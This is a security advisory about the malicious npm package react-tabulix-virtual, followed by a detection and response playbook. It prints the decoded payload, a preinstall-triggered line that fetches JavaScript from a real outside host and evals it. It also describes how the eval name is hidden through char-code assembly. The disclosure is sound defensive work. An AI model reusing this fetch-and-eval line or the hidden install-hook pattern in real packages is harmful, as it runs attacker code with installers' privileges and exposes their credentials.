react-tabulix-virtualnpm
Advisory published Updated
react-tabulix-virtual is a confirmed malicious npm package (MAL-2026-10989) that executes malicious code on install (malicious versions 0.1.0, 0.1.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in react-tabulix-virtual (npm)
What this malware does
package.json declares scripts.preinstall as node./dist/index.d.js, which runs automatically on npm install. dist/index.d.js contains a base64-encoded string that decodes to eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=>r.text())). The eval identifier is reconstructed at runtime from the character-code array [101,118,97,108] so the sink name does not appear as a literal in the source. On install, the package fetches JavaScript from everydaynodechecker-39143n.vercel.app and executes it with the installer's privileges. Both the destination URL (base64) and the eval sink (char-code assembly) are obfuscated.
The OpenSSF Package Analysis project identified 'react-tabulix-virtual' @ 0.1.1 (npm) as malicious.

Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for react-tabulix-virtual (2 malicious versions).
If you installed it — respond
Remove react-tabulix-virtual from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If react-tabulix-virtual was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks react-tabulix-virtual-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
